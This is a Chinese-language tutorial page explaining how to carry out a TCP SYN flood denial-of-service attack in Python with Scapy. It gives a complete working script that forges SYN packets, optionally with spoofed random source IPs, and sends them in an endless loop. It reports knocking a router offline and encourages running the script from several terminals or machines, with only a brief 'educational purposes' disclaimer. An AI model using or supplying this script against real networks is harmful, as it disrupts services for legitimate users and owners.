如何在Python中进行SYN洪水攻击

SYN洪水攻击是一种的一种常见形式的拒绝服务攻击,其中攻击者发送SYN请求到目标系统的一个序列(可以是路由器,防火墙,入侵防御系统(IPS),等),以消耗它的资源,阻止合法客户端建立正常连接。

如何在<a href='/tag/python.html'>Python</a>中进行SYN洪水攻击

TCP SYN洪水攻击利用了TCP三向握手的第一部分,并且由于每个使用TCP协议的连接都需要它,因此这种攻击被证明是危险的,并且会破坏多个网络组件。

为了理解SYN洪水攻击,我们首先需要谈论TCP三向握手:

如何在<a href='/tag/python.html'>Python</a>中进行SYN洪水攻击

TCP三向握手当客户端希望通过TCP协议与服务器建立连接时,客户端和服务器交换一系列消息:

客户端通过向服务器发送SYN消息来请求连接。

服务器以SYN-ACK消息响应(确认请求)。

客户端以ACK响应,然后开始连接。

SYN Flood攻击涉及一个恶意用户,该用户反复发送SYN数据包而不用ACK响应并且通常使用不同的源端口,这使服务器不了解攻击,并使用来自每个端口的SYN-ACK数据包对每次尝试进行响应(红色上图的绿色部分)。这样,服务器资源耗尽将对合法客户端无响应。

一、实战

在本教程中,我们将使用Python中的Scapy库实现SYN Flood攻击。首先,您需要安装Scapy:

pip3 install scapy


打开一个新的Python文件并导入Scapy:

from scapy.all import *


我们以本地路由器为攻击目标,该路由器的私有IP地址为192.168.1.1:

# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80


如果要在路由器上尝试此操作,请确保您具有正确的IP地址,您可以分别通过Windows和macOS / Linux中的ipconfig和ip route命令获取默认网关地址。

目标端口是HTTP,因为我想泛洪路由器的Web界面。现在,让我们从IP层开始伪造SYN数据包:

# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)


我们dst将目标IP地址指定为目标IP地址,也可以将src地址设置为专用网络范围内的欺骗性随机IP地址(注释代码),它也将正常工作。

让我们伪造我们的TCP层:

# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")


因此,我们将源端口(sport)设置为随机段(与端口类似,范围从1到65535),并将dport(目标端口)作为目标端口,在这种情况下,它是HTTP服务。

我们还设置了"S"指示类型SYN的标志。

现在,让我们添加一些泛洪的原始数据来占用网络:

# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)


太棒了,现在让我们堆叠各层并发送数据包:

# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected 
send(p, loop=1, verbose=0)


因此,我们使用了send()在第3层发送数据包的功能,将其设置loop为1可以继续发送,直到我们按下CTRL + C为止;设置verbose为0则在此过程中不会打印任何内容(无提示)。

脚本完成!现在,我在路由器上运行了此路由器之后,花了几秒钟的时间并且确定地,路由器停止工作并且失去了连接:

如何在<a href='/tag/python.html'>Python</a>中进行SYN洪水攻击

使用Scapy成功进行SYN泛洪攻击后,路由器停止工作这是Windows上以下命令的输出:

$ ping -t "192.168.1.1"


它是从攻击者以外的另一台计算机上捕获的,因此路由器不再响应。

为了使一切恢复正常,您可以停止攻击(通过按CTRL + C),如果设备仍然没有响应,请继续并重新启动它。

二、结论


好的!我们已经完成了本教程,如果您尝试在本地计算机上运行脚本,则会发现计算机忙碌,并且延迟会大大增加。您还可以在多个终端甚至其他计算机上运行脚本,看看是否可以关闭本地计算机的网络!

免责声明:请不要在您没有或没有权限的设备上使用此工具,我们不承担任何责任,本教程仅用于教育目的。

{{collectdata}}

网友评论0